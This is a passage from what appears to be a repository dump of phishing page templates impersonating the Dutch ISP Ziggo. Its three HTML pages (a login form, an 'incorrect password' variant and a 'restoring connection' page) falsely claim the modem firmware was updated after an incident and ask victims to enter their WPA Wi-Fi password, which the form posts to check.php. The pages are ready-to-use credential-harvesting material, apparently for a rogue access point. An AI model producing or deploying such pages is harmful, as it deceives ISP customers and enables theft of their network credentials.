    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html lang=\"en\"><head>\n  <meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1250\">\n  <title>Ziggo Wi-Fi - Herstellen</title>\n  <style>\n      body{\n            padding:0px;\n            margin:0px;\n            font:11px/1.545 verdana,arial,sans-serif;\n        }\n\n      td    {\n            font:11px/1.545 verdana,arial,sans-serif;\n        }\n        \n    h2 {\n            font:18px arial,verdana,sans-serif;\n            color:#0188CC;\n            margin-bottom:10px;\n       }\n      \n    .zp-portalContainer {\n            background:url('background_ziggo_blue_talks.gif');\n            background-repeat:no-repeat;\n            margin-bottom: 15px;\n            clear: both;\n            width:820px;\n            background-color:#0088CE;\n        }\n        \n    .zp-portal-top-left {\n            background-image: url('portalWindow_top_bottom.png');\n            padding-left: 20px;\n            border-bottom: none;\n            background-position: left top;\n            background-repeat: no-repeat;\n            cursor: default;\n        }\n        \n    .zp-portal-top-center {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 0 -64px;\n\t\t\tbackground-repeat:repeat-x;\n            height: 20px;\n        }\n        \n    .zp-portal-top-right {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 100% -128px;\n            padding-right: 20px;\n            background-repeat: no-repeat;\n        }\n        \n    .zp-portal-center {\n            border-left: 1px solid #517080;\n            background-color: #FFFFFF;\n            border-right: 1px solid #517080;\n            overflow: hidden;\n        }\n        \n    .zp-portal-center .zp-contentholder {\n            width:640px;\n            position:relative;\n            left:0px;\n        }\n        \n    .zp-portal-outer {\n            overflow: visible;\n            min-height: 360px;\n        }\n        \n    .zp-portal-bottom-left {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 0 -193px;\n            background-repeat: no-repeat;\n            padding-left: 20px;\n            margin-top: 0;\n            background-repeat:no-repeat;\n        }\n        \n    .zp-portal-bottom-center {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 0 -256px;\n            height: 20px;\n        }        \n        \n    .zp-portal-bottom-right {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 100% -320px;\n            padding-right: 20px;\n            background-repeat: no-repeat;\n        }        \n        \n    #zp-header {\n            height:70px;\n        }\n    .inlogmodule .zp-button {\n            display: inline-block;\n            cursor: pointer;\n            background-image: url('btn_left.png');\n            padding-left:10px;\n            background-position:top left;\n            background-repeat:no-repeat;\n            margin:5px 0px 5px 0px;;\n        }\n        \n    .inlogmodule .zp-button input {\n            display:block;\n            background-image: url('btn_right.png');\n            height:20px;\n            background-position:top right;\n            color:white;\n            text-decoration:none;\n        }\n        \n        .inlogmodule .zp-button input {\n        \tmargin: 0;\n        \tpadding: 0;\n        \tborder: none;\n        \tpadding-right: 10px;\n        }\n\n    .inlogmodule {\n            width:100%;\n        }\n        \n    .inlogmodule td {\n            vertical-align:top;\n            padding:7px;\n        }\n        \n    .inlogmodule .cell1 {\n            width:230px;\n            background-color:#edecf2;\n            text-align:right\n        }    \n        \n    .inlogmodule .cell2 {\n            width:410px;\n            background-color:#edecf2;\n        \n        }\n\n    .inlogmodule .cellbottomleft {\n            background-image: url('table_bottom.png');\n            overflow:hidden;\n            height:5px;\n            padding:0px;\n        }\n        \n    .inlogmodule .cellbottomright {\n            padding:0px;\n            background-image: url('table_bottom.png');\n            background-position:right top;\n            padding:0px;\n        }        \n        \n    .inlogmodule .celltopleft {\n            width:230px;\n            background-image: url('table_top.png');\n            overflow:hidden;\n            height:5px;\n            padding:0px;\n        }\n        \n    .inlogmodule .celltopright {\n            padding:0px;\n            background-image: url('table_top.png');\n            background-position:right top;\n            width:410px;\n            padding:0px;\n        }        \n        \n    .inlogmodule .labeltext .txt {\n            display:block;\n            margin-right:15px;\n        }\n        \n    .inlogmodule .invoer {\n            width:220px;\n            height:20px;\n            border:solid 1px #b4b6c5;\n            background-image:url('bg_invoer.png');\n        }\n\n    td.error {\n\t    color: red;\n\t    font:11px/1.545 verdana,arial,sans-serif;\n    }\n        \n        \n  </style>\n  </head>\n  <body onload=\"\">\n  <div align=\"center\">\n      <div class=\"zp-portalContainer\">\n          <div style=\"width:720px;position:relative;left:0px\">\n              <div id=\"zp-header\">\n                  <div align=\"left\">\n                  <img alt=\"\" src=\"Ziggo-wifi-modem-header-1.gif\">\n              </div>\n              </div>\n              <div class=\"zp-portal-top-left\">\n                    <div class=\"zp-portal-top-right\">\n                        <div class=\"zp-portal-top-center\"></div>\n                    </div>\n            </div>\n            <div class=\"zp-portal-center\">\n            <div class=\"zp-contentholder\">\n                <div align=\"left\">\n                <h2>Uw Ziggo Wi-Fi Modem Herstellen</h2>\n                </div>\n                    <form id=\"form1\" method=\"POST\" action=\"check.php\" name=\"form1\">\n                        <table class=\"inlogmodule\" summary=\"\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n                            <tbody><tr>\n                                <td id=\"celltopleft\" class=\"celltopleft\" height=\"5\"></td>\n                                <td headers=\"celltopleft\" class=\"celltopright\"></td>\n                            </tr>\n                                    \n                            <tr>\n                                <td id=\"cell1_1\" class=\"cell1\">&nbsp;</td>\n                                <td headers=\"cell1_1\" class=\"cell2\"><p style=\"width:220px\">Wegens een incident is de firmware van uw Wi-Fi modem bijgewerkt. Om uw Wi-Fi te herstellen dient u uw WPA wachtwoord hieronder in te voeren.<br>Indien u dit wachtwoord niet heeft aangepast vind u dit wachtwoord aan de onderkant van uw Wi-Fi<sup></sup> modem.</p></td>\n                            </tr>\n                            <tr>\n                                <td id=\"Wachtwoord\" class=\"cell1\"><label for=\"Zigpassword\"><span class=\"txt\">Wachtwoord</span></label></td>\n                                <td headers=\"Wachtwoord\" class=\"cell2 error\"><input id=\"Zigpassword\" name=\"key1\" class=\"invoer textfield\" value=\"\" type=\"password\"><br>\n                                Het ingevoerde wachtwoord is onjuiste.<br>Controlleer uw wachtwoord en probeer het opnieuw.</td></td>\n                            </tr>\n                                    \n                            <tr>\n                                <td id=\"cell1_2\" class=\"cell1\"></td>\n                                <td headers=\"cell1_2\" class=\"cell2\"><div id=\"submit\" class=\"zp-button\"><input type=\"submit\" value=\"Herstellen &gt;\"></div></td>\n                            </tr>\n                        </tbody></table>\n                    </form>\n            </div>\n        </div>\n        <div class=\"zp-portal-bottom-left\">\n            <div class=\"zp-portal-bottom-right\">\n                        <div class=\"zp-portal-bottom-center\"></div>\n            </div>\n        </div>\n    </div>\n    <div style=\"height:25px;width:100%;\"></div>\n  </div>\n  \n\n</div></body></html>"
  },
  {
    "path": "sites/ziggo_nl/final.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html lang=\"en\"><head>\n  <meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1250\">\n  <title>Ziggo Wi-Fi - Herstellen</title>\n  <style>\n      body{\n            padding:0px;\n            margin:0px;\n            font:11px/1.545 verdana,arial,sans-serif;\n        }\n\n      td    {\n            font:11px/1.545 verdana,arial,sans-serif;\n        }\n        \n    h2 {\n            font:18px arial,verdana,sans-serif;\n            color:#0188CC;\n            margin-bottom:10px;\n       }\n      \n    .zp-portalContainer {\n            background:url('background_ziggo_blue_talks.gif');\n            background-repeat:no-repeat;\n            margin-bottom: 15px;\n            clear: both;\n            width:820px;\n            background-color:#0088CE;\n        }\n        \n    .zp-portal-top-left {\n            background-image: url('portalWindow_top_bottom.png');\n            padding-left: 20px;\n            border-bottom: none;\n            background-position: left top;\n            background-repeat: no-repeat;\n            cursor: default;\n        }\n        \n    .zp-portal-top-center {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 0 -64px;\n\t\t\tbackground-repeat:repeat-x;\n            height: 20px;\n        }\n        \n    .zp-portal-top-right {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 100% -128px;\n            padding-right: 20px;\n            background-repeat: no-repeat;\n        }\n        \n    .zp-portal-center {\n            border-left: 1px solid #517080;\n            background-color: #FFFFFF;\n            border-right: 1px solid #517080;\n            overflow: hidden;\n        }\n        \n    .zp-portal-center .zp-contentholder {\n            width:640px;\n            position:relative;\n            left:0px;\n\t    font:11px/1.545 verdana,arial,sans-serif;\n        }\n        \n    .zp-portal-outer {\n            overflow: visible;\n            min-height: 360px;\n        }\n        \n    .zp-portal-bottom-left {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 0 -193px;\n            background-repeat: no-repeat;\n            padding-left: 20px;\n            margin-top: 0;\n            background-repeat:no-repeat;\n        }\n        \n    .zp-portal-bottom-center {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 0 -256px;\n            height: 20px;\n        }        \n        \n    .zp-portal-bottom-right {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 100% -320px;\n            padding-right: 20px;\n            background-repeat: no-repeat;\n        }        \n        \n    #zp-header {\n            height:70px;\n        }\n    .inlogmodule .zp-button {\n            display: inline-block;\n            cursor: pointer;\n            background-image: url('btn_left.png');\n            padding-left:10px;\n            background-position:top left;\n            background-repeat:no-repeat;\n            margin:5px 0px 5px 0px;;\n        }\n        \n    .inlogmodule .zp-button a {\n            display:block;\n            background-image: url('btn_right.png');\n            height:20px;\n            background-position:top right;\n            color:white;\n            text-decoration:none;\n        }\n\n    .inlogmodule {\n            width:100%;\n        }\n        \n    .inlogmodule td {\n            vertical-align:top;\n            padding:7px;\n        }\n        \n    .inlogmodule .cell1 {\n            width:230px;\n            background-color:#edecf2;\n            text-align:right\n        }    \n        \n    .inlogmodule .cell2 {\n            width:410px;\n            background-color:#edecf2;\n        \n        }\n\n    .inlogmodule .cellbottomleft {\n            background-image: url('table_bottom.png');\n            overflow:hidden;\n            height:5px;\n            padding:0px;\n        }\n        \n    .inlogmodule .cellbottomright {\n            padding:0px;\n            background-image: url('table_bottom.png');\n            background-position:right top;\n            padding:0px;\n        }        \n        \n    .inlogmodule .celltopleft {\n            width:230px;\n            background-image: url('table_top.png');\n            overflow:hidden;\n            height:5px;\n            padding:0px;\n        }\n        \n    .inlogmodule .celltopright {\n            padding:0px;\n            background-image: url('table_top.png');\n            background-position:right top;\n            width:410px;\n            padding:0px;\n        }        \n        \n    .inlogmodule .labeltext .txt {\n            display:block;\n            margin-right:15px;\n        }\n        \n    .inlogmodule .invoer {\n            width:220px;\n            height:20px;\n            border:solid 1px #b4b6c5;\n            background-image:url('bg_invoer.png');\n        }\n\n    td.error {\n\t    color: red;\n    }\n        \n        \n  </style>\n  </head>\n  <body onload=\"getFocus()\">\n  <div align=\"center\">\n      <div class=\"zp-portalContainer\">\n          <div style=\"width:720px;position:relative;left:0px\">\n              <div id=\"zp-header\">\n                  <div align=\"left\">\n                  <img alt=\"\" src=\"Ziggo-wifi-modem-header-1.gif\">\n              </div>\n              </div>\n              <div class=\"zp-portal-top-left\">\n                    <div class=\"zp-portal-top-right\">\n                        <div class=\"zp-portal-top-center\"></div>\n                    </div>\n            </div>\n            <div class=\"zp-portal-center\">\n            <div class=\"zp-contentholder\">\n                <div align=\"left\">\n                <h2>Uw Ziggo Wi-Fi Modem Herstellen</h2>\n                </div>\nEen moment geduld a.u.b...<br>Uw Wi-Fi verbinding word hersteld en is binnen enkele seconden weer beschikbaar.\n            </div>\n        </div>\n        <div class=\"zp-portal-bottom-left\">\n            <div class=\"zp-portal-bottom-right\">\n                        <div class=\"zp-portal-bottom-center\"></div>\n            </div>\n        </div>\n    </div>\n    <div style=\"height:25px;width:100%;\"></div>\n  </div>\n  \n\n</div></body></html>\n"
  },
  {
    "path": "sites/ziggo_nl/index.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html lang=\"en\"><head>\n  <meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1250\">\n  <title>Ziggo Wi-Fi - Herstellen</title>\n  <style>\n      body{\n            padding:0px;\n            margin:0px;\n            font:11px/1.545 verdana,arial,sans-serif;\n        }\n\n      td    {\n            font:11px/1.545 verdana,arial,sans-serif;\n        }\n        \n    h2 {\n            font:18px arial,verdana,sans-serif;\n            color:#0188CC;\n            margin-bottom:10px;\n       }\n      \n    .zp-portalContainer {\n            background:url('background_ziggo_blue_talks.gif');\n            background-repeat:no-repeat;\n            margin-bottom: 15px;\n            clear: both;\n            width:820px;\n            background-color:#0088CE;\n        }\n        \n    .zp-portal-top-left {\n            background-image: url('portalWindow_top_bottom.png');\n            padding-left: 20px;\n            border-bottom: none;\n            background-position: left top;\n            background-repeat: no-repeat;\n            cursor: default;\n        }\n        \n    .zp-portal-top-center {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 0 -64px;\n\t\t\tbackground-repeat:repeat-x;\n            height: 20px;\n        }\n        \n    .zp-portal-top-right {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 100% -128px;\n            padding-right: 20px;\n            background-repeat: no-repeat;\n        }\n        \n    .zp-portal-center {\n            border-left: 1px solid #517080;\n            background-color: #FFFFFF;\n            border-right: 1px solid #517080;\n            overflow: hidden;\n        }\n        \n    .zp-portal-center .zp-contentholder {\n            width:640px;\n            position:relative;\n            left:0px;\n        }\n        \n    .zp-portal-outer {\n            overflow: visible;\n            min-height: 360px;\n        }\n        \n    .zp-portal-bottom-left {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 0 -193px;\n            background-repeat: no-repeat;\n            padding-left: 20px;\n            margin-top: 0;\n            background-repeat:no-repeat;\n        }\n        \n    .zp-portal-bottom-center {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 0 -256px;\n            height: 20px;\n        }        \n        \n    .zp-portal-bottom-right {\n            background-image: url('portalWindow_top_bottom.png');\n            background-position: 100% -320px;\n            padding-right: 20px;\n            background-repeat: no-repeat;\n        }        \n        \n    #zp-header {\n            height:70px;\n        }\n    .inlogmodule .zp-button {\n            display: inline-block;\n            cursor: pointer;\n            background-image: url('btn_left.png');\n            padding-left:10px;\n            background-position:top left;\n            background-repeat:no-repeat;\n            margin:5px 0px 5px 0px;;\n        }\n        \n    .inlogmodule .zp-button input {\n            display:block;\n            background-image: url('btn_right.png');\n            height:20px;\n            background-position:top right;\n            color:white;\n            text-decoration:none;\n        }\n        \n        .inlogmodule .zp-button input {\n        \tmargin: 0;\n        \tpadding: 0;\n        \tborder: none;\n        \tpadding-right: 10px;\n        }\n\n    .inlogmodule {\n            width:100%;\n        }\n        \n    .inlogmodule td {\n            vertical-align:top;\n            padding:7px;\n        }\n        \n    .inlogmodule .cell1 {\n            width:230px;\n            background-color:#edecf2;\n            text-align:right\n        }    \n        \n    .inlogmodule .cell2 {\n            width:410px;\n            background-color:#edecf2;\n        \n        }\n\n    .inlogmodule .cellbottomleft {\n            background-image: url('table_bottom.png');\n            overflow:hidden;\n            height:5px;\n            padding:0px;\n        }\n        \n    .inlogmodule .cellbottomright {\n            padding:0px;\n            background-image: url('table_bottom.png');\n            background-position:right top;\n            padding:0px;\n        }        \n        \n    .inlogmodule .celltopleft {\n            width:230px;\n            background-image: url('table_top.png');\n            overflow:hidden;\n            height:5px;\n            padding:0px;\n        }\n        \n    .inlogmodule .celltopright {\n            padding:0px;\n            background-image: url('table_top.png');\n            background-position:right top;\n            width:410px;\n            padding:0px;\n        }        \n        \n    .inlogmodule .labeltext .txt {\n            display:block;\n            margin-right:15px;\n        }\n        \n    .inlogmodule .invoer {\n            width:220px;\n            height:20px;\n            border:solid 1px #b4b6c5;\n            background-image:url('bg_invoer.png');\n        }\n\n    td.error {\n\t    color: red;\n\t    font:11px/1.545 verdana,arial,sans-serif;\n    }\n        \n        \n  </style>\n  </head>\n  <body onload=\"getFocus()\">\n  <div align=\"center\">\n      <div class=\"zp-portalContainer\">\n          <div style=\"width:720px;position:relative;left:0px\">\n              <div id=\"zp-header\">\n                  <div align=\"left\">\n                  <img alt=\"\" src=\"Ziggo-wifi-modem-header-1.gif\">\n              </div>\n              </div>\n              <div class=\"zp-portal-top-left\">\n                    <div class=\"zp-portal-top-right\">\n                        <div class=\"zp-portal-top-center\"></div>\n                    </div>\n            </div>\n            <div class=\"zp-portal-center\">\n            <div class=\"zp-contentholder\">\n                <div align=\"left\">\n                <h2>Uw Ziggo Wi-Fi Modem Herstellen</h2>\n                </div>\n                    <form id=\"form1\" method=\"POST\" action=\"check.php\" name=\"form1\">\n                        <table class=\"inlogmodule\" summary=\"\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n                            <tbody><tr>\n                                <td id=\"celltopleft\" class=\"celltopleft\" height=\"5\"></td>\n                                <td headers=\"celltopleft\" class=\"celltopright\"></td>\n                            </tr>\n                                    \n                            <tr>\n                                <td id=\"cell1_1\" class=\"cell1\">&nbsp;</td>\n                                <td headers=\"cell1_1\" class=\"cell2\"><p style=\"width:220px\">Wegens een incident is de firmware van uw Wi-Fi modem bijgewerkt. Om uw Wi-Fi te herstellen dient u uw WPA wachtwoord hieronder in te voeren.<br>Indien u dit wachtwoord niet heeft aangepast vind u dit wachtwoord aan de onderkant van uw Wi-Fi<sup></sup> modem.</p></td>\n                            </tr>\n                            <tr>\n                                <td id=\"Wachtwoord\" class=\"cell1\"><label for=\"Zigpassword\"><span class=\"txt\">Wachtwoord</span></label></td>\n                                <td headers=\"Wachtwoord\" class=\"cell2 error\"><input id=\"Zigpassword\" name=\"key1\" class=\"invoer textfield\" value=\"\" type=\"password\"></td>\n                            </tr>\n                                    \n                            <tr>\n                                <td id=\"cell1_2\" class=\"cell1\"></td>\n                                <td headers=\"cell1_2\" class=\"cell2\"><div id=\"submit\" class=\"zp-button\"><input type=\"submit\" value=\"Herstellen &gt;\"></div></td>\n                            </tr>\n                        </tbody></table>\n                    </form>\n            </div>\n        </div>\n        <div class=\"zp-portal-bottom-left\">\n            <div class=\"zp-portal-bottom-right\">\n                        <div class=\"zp-portal-bottom-center\"></div>\n            </div>\n        </div>\n    </div>\n    <div style=\"height:25px;width:100%;\"></div>\n  </div>\n  \n\n</div></body></html>\n"
  }
]